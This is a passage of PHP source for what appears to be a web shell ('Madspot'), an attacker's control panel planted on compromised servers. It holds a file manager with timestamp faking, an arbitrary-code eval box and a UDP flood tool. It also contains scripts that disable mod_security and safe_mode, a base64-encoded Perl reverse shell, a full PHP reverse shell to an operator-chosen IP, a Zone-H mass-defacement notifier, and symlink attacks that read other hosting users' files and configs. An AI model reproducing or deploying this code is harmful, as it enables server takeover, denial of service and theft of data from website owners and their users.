		echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?madSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \''.urlencode($f['name']).'\')"> X </a></td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	</form></table></div>";

	
    madfooter();
 }
    
  function madFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	
   madhead();
	echo '<div class=header>';
	if( !file_exists(@$_POST['p1']) ) {
		echo "<pre class=ml1 style='margin-top:5px'>FILE DOEST NOT EXITS </pre></div>";
		madFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?madSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.madPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a  href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['p2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	madFooter();
}  

function madphpeval()
{
    madhead();
    
    if(isset($_POST['p2']) && ($_POST['p2'] == 'ini')) {
		echo '<div class=header>';
		ob_start();
		$INI=ini_get_all(); 
print '<table border=0><tr>'
	.'<td class="listing"><font class="highlight_txt">Param</td>'
	.'<td class="listing"><font class="highlight_txt">Global value</td>'
	.'<td class="listing"><font class="highlight_txt">Local Value</td>'
	.'<td class="listing"><font class="highlight_txt">Access</td></tr>';
foreach ($INI as $param => $values) 
	print "
".'<tr>'
		.'<td class="listing"><b>'.$param.'</td>'
		.'<td class="listing">'.$values['global_value'].' </td>'
		.'<td class="listing">'.$values['local_value'].' </td>'
		.'<td class="listing">'.$values['access'].' </td></tr>';
		$tmp = ob_get_clean();
        $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    
    if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<div class=header><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    
    if(isset($_POST['p2']) && ($_POST['p2'] == 'exten')) {
		echo '<div class=header>';
		ob_start();
	     $EXT=get_loaded_extensions ();
     print '<table border=0><tr><td class="listing">'
	.implode('</td></tr>'."
".'<tr><td class="listing">', $EXT)
	.'</td></tr></table>'
	.count($EXT).' extensions loaded';
		
        
        echo '</div><br>';
	}
    
    
	if(empty($_POST['ajax']) && !empty($_POST['p1']))
		$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
    echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')">    | phpinfo |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')">   | extensions  |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>';
	echo '</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
  
    madfooter();
}

function madhash()
{
    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
        'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'Htmlspecialchars' => 'htmlspecialchars',
		
	);
	
	madhead();
	echo '<div class=header>';
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
	echo "<form  onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo "</div>";
	madFooter();
    
}
function maddos()
{
    madhead();
    echo '<div class=header>';
  if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  echo '<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text"  size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input  type="submit" value=">>" /></form></center>';
  echo "<pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' >";
    if(!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3']))
    {
         $packets=0;
        ignore_user_abort(true);
        $exec_time=$_POST['p2'];
        $time=time();
        $max_time=$exec_time+$time;
        $host=$_POST['p1'];
        $portudp=$_POST['p3'];
        for($i=0;$i<65000;$i++)
        {
            $out .= 'X';
        }
        while(1){
    
         $packets++;
            if(time() > $max_time){
                    break;
            }
            
            $fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);
            if($fp){
                    fwrite($fp, $out);
                    fclose($fp);
            }
            }
         echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
         echo "</pre>";
    }
    
    echo '</div>'; 
   
    madfooter();        
}

function madproc()
{
    madhead();
    echo "<Div class=header><center>";
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  if($GLOBALS['sys']=="win")
  {
    $process=array(
    "System Info" =>"systeminfo",
    "Active Connections" => "netstat -an",
 	"Running Services" => "net start",
 	"User Accounts" => "net user",
 	"Show Computers" => "net view",
    "ARP Table" => "arp -a",
    "IP Configuration" => "ipconfig /all"
    );
    }
  else
  { 
    $process=array(
    "Process status" => "ps aux",
    "Syslog" =>"cat  /etc/syslog.conf",
    "Resolv" => "cat  /etc/resolv.conf",
    "Hosts" =>"cat /etc/hosts",
    "Passwd" =>"cat /etc/passwd",
    "Cpuinfo"=>"cat /proc/cpuinfo",
    "Version"=>"cat /proc/version",
    "Sbin"=>"ls -al /usr/sbin",
    "Interrupts"=>"cat /proc/interrupts",
    "lsattr"=>"lsattr -va",
    "Uptime"=>"uptime",
    "Fstab" =>"cat /etc/fstab",
    "HDD Space" => "df -h"
    );}
    
    foreach($process as $n => $link)
    {
        echo '<a href="#" onclick="g(null,null,\''.$link.'\')"> | '.$n.' | </a>';
    }
    echo "</center>"; 
     if(!empty($_POST['p1']))
     {
        echo "<pre class='ml1' style='margin-top:5px' >";
        echo madEx($_POST['p1']);
        echo '</pre>';
     }
     echo "</div>";
     madfooter();
     }
     
function madsafe()
{
    madhead();
    echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br>";
    echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
    if(!empty($_POST['p2']) && isset($_POST['p2']))
    {
    $fil=fopen($GLOBALS['cwd'].".htaccess","w");
    fwrite($fil,'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>');
    fclose($fil);
   }
   if(!empty($_POST['p1'])&& isset($_POST['p1']))
   {
    $fil=fopen($GLOBALS['cwd']."php.ini","w");
      fwrite($fil,'safe_mode=OFF
disable_functions=NONE');
     fclose($fil);
    }
    if(!empty($_POST['p3']) && isset($_POST['p3']))
    {
    $fil=fopen($GLOBALS['cwd'].".htaccess","w");
    fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl');
     fclose($fil); 
    }
    echo "<br></div>";
    madfooter();
    
}

function madconnect()
{
 madhead();
 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
 echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>";
 echo "<form  onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form>";
 echo "<br><form  onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center>";
 if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = madEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
			echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['p2'].":".$_POST['p3']."<br>Connecting...</pre>";
            @unlink("/tmp/bc.pl");
		}
        if($_POST['p1']=='php')
 {
            
@set_time_limit (0);
$ip = $_POST['p2']; 
$port =$_POST['p3'];     
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
echo "<pre class=ml1 style='margin-top:5px'>";

if (function_exists('pcntl_fork')) {
	
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		echo "Cant fork!<br>";
		exit(1);
	}
	
	if ($pid) {
		exit(0);  
	}

	if (posix_setsid() == -1) {
		echo "Error: Can't setsid()<br>";
		exit(1);
	}

	$daemon = 1;
} else {
	echo "WARNING: Failed to daemonise.  This is quite common and not fatal<br>";
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	echo "$errstr ($errno)";
	exit(1);
}


$descriptorspec = array(
   0 => array("pipe", "r"),  
   1 => array("pipe", "w"),  
   2 => array("pipe", "w")   
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	echo "ERROR: Can't spawn shell<br>";
	exit(1);
}


@stream_set_blocking($pipes[0], 0);
@stream_set_blocking($pipes[1], 0);
@stream_set_blocking($pipes[2], 0);
@stream_set_blocking($sock, 0);

echo "Successfully opened reverse shell to $ip:$port<br>";

while (1) {
	if (feof($sock)) {
		echo "ERROR: Shell connection terminated<br>";
		break;
	}

	if (feof($pipes[1])) {
		echo "ERROR: Shell process terminated<br>";
		break;
	}

	
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) echo "SOCK READ<br>";
		$input=fread($sock, $chunk_size);
		if ($debug) echo "SOCK: $input<br>";
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) echo "STDOUT READ<br>";
		$input = fread($pipes[1], $chunk_size);
		if ($debug) echo "STDOUT: $input<br>";
		fwrite($sock, $input);
	}

	
	if (in_array($pipes[2], $read_a)) {
		if ($debug) echo "STDERR READ<br>";
		$input = fread($pipes[2], $chunk_size);
		if ($debug) echo "STDERR: $input<br>";
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

echo "</pre>";
}

}   
 echo "</div>";
 madfooter();
}
function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
	$k = curl_init();
	curl_setopt($k, CURLOPT_URL, $url);
	curl_setopt($k,CURLOPT_POST,true);
	curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
	curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
	$kubra = curl_exec($k);
	curl_close($k);
	return $kubra;
}
function madzoneh()
{
    madhead();
    if(!function_exists('curl_version'))
    {
        echo "<pre class=ml1 style='margin-top:5px'><center><font color=red>PHP CURL NOT EXIT</font></center></pre>";
    }
    echo "<div class=header><center><br>";
    echo '<h3><span>|ZONE-H MASS DEFACER |</span></h3>
    <form  onSubmit="g(null,null,this.defacer.value,this.hackmode.value,this.domain.value);return false;" >
    <span>| Notifier |</span><br>
<input type="text" name=defacer size="40" value="Attacker" /><br>
<select name=hackmode>
<option >--------SELECT--------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select><br>
<select  >
<option >Not available</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select><br>
<textarea name=domain cols="50" rows="15">List Of Domains</textarea>
<br>
<input type="submit" value=">>" /></form>';
if(isset($_POST['p1']) && isset($_POST['p2']))
{
    $hacker =$_POST['p1'];
    $method =$_POST['p2'];
    $neden ="Not available";
    $site =$_POST['p3'];
   $i = 0;
   $sites = explode("
", $site);
   echo "<pre class=ml1 style='margin-top:5px'>";
	while($i < count($sites)) 
	{
	if(substr($sites[$i], 0, 4) != "http") 
	{
			$sites[$i] = "http://".$sites[$i];
	}
	ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
	echo "Site : ".$sites[$i]." Defaced !<br>";
	++$i;
	}
     
    "Sending Sites To Zone-H Has Been Completed Successfully !! </pre>";
}
echo "</div>";
madfooter();
    
}
function madspot()
{
    madhead();
    echo "<div class=header>";
    echo "<pre>
    
                           |`-:_
  ,----....____            |    `+.                                                           
 (             ````----....|___   |
  \     _                      ````----....____
   \    _)  Coded By: Ikram Ali                ```---.._                       
    \                                                   \ 
  )`.\  )`.   )`.   )`.   )`.   )`.   )`.   )`.   )`.   )`.   )hh
-'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `
   Madspot is a Team of professional Ethical Hackers From Pakistan.
   We have Years of  Experience in  Security, Penetration & Coding 
   And can Break and Secure.
   
   Version 1.0
   
   Contact : http://www.madspot.net
   
   if you found bug contact our team 
   
   


              .=''=.             
             / _  _ \
            |  d  b  |
            \   /\   / 
           ,/'-=\/=-'\,
          / /        \ \     -----------------------------
         | / Zahid    \ |    Madspot Digital Security Team
         \/ \ Rasheed/ \/    -----------------------------
             '.    .'
             _|`~~`|_
             /|\  /|\    
	
       .- <O> -.        .-====-.      ,-------.      .-=<>=-.
   /_-\'''/-_\      / / '' \ \     |,-----.|     /__----__\
  |/  o) (o  \|    | | ')(' | |   /,'-----'.\   |/ (')(') \|
   \   ._.   /      \ \    / /   {_/(') (')\_}   \   __   /
   ,>-_,,,_-<.       >'=jf='<     `.   _   .'    ,'--__--'.
 / Waqar.Khan  \    /        \     /'-___-'\    /    :|    \
(_)     .     (_)  /  Ikram   \   / M-Usman \  (_)   :|   (_)
 \_-----'____--/  (_)  Ali   (_) (_)_______(_)   |___:|____|
  \___________/     |________|     \_______/     | Afrasiab|


	
  
  
    </pre></div>";
    madfooter();
    
    }
    
function madsymlink()
{
    madhead();
    
$IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );
$IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );  
    
    
    

   echo '<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains | </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| Whole Server Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>';
    
    if(isset($_POST['p1']) && $_POST['p1']=='website')
    {
        echo "<center>";
        $d0mains = @file("/etc/named.conf");
        if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; }

 

echo "<table align=center class='main'  border=0  >

<tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>";
$count=1;
foreach($d0mains as $d0main){

if(@eregi("zone",$d0main)){

preg_match_all('#zone "(.*)"#', $d0main, $domains);

flush();

if(strlen(trim($domains[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));

echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
$count++;
}}}
echo "</center></table>"; 
 }
 
 if(isset($_POST['p2']) && $_POST['p2']=='whole')
 {
    
    
    @set_time_limit(0);
    
    echo "<center>";
    
  
        
@mkdir('sym',0777);
$IIIIIIIIIIl1  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
@symlink('/','sym/root');
$IIIIIIIIIlIl = basename('_FILE_');
    
    
$IIIIIIIIIllI = @file('/etc/named.conf');
if(!$IIIIIIIIIllI)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
}
else
{
echo "<table align='center' width='40%' class='main'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi('zone',$IIIIIIIIIll1)){
preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
@symlink('/','sym/root');
$IIIIIIII1I1l = $IIIIIIIIIl11[1][0];
$IIIIIIII1I11 = '\.ir';
$IIIIIIII1lII = '\.il';
if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )
{
$IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIIIl11[1][0].'</div>';
}
echo "
<tr>

<td>
<a target='_blank' href=http://www.".$IIIIIIIIIl11[1][0].'/>'.$IIIIIIII1I1l.' </a>
</td>

<td>
'.$IIIIIIIII1I1['name']."
</td>

<td>
<a href='sym/root/home/".$IIIIIIIII1I1['name']."/public_html' target='_blank'>symlink </a>
</td>


</tr>";
flush();
}
}
}
}
    
echo "</center></table>";    
    
 }
 
 
 
 if(isset($_POST['p3']) && $_POST['p3']=='config')
 
 
 {
  echo "<center>";
@mkdir('sym',0777);
$IIIIIIIIIIl1  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
@fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
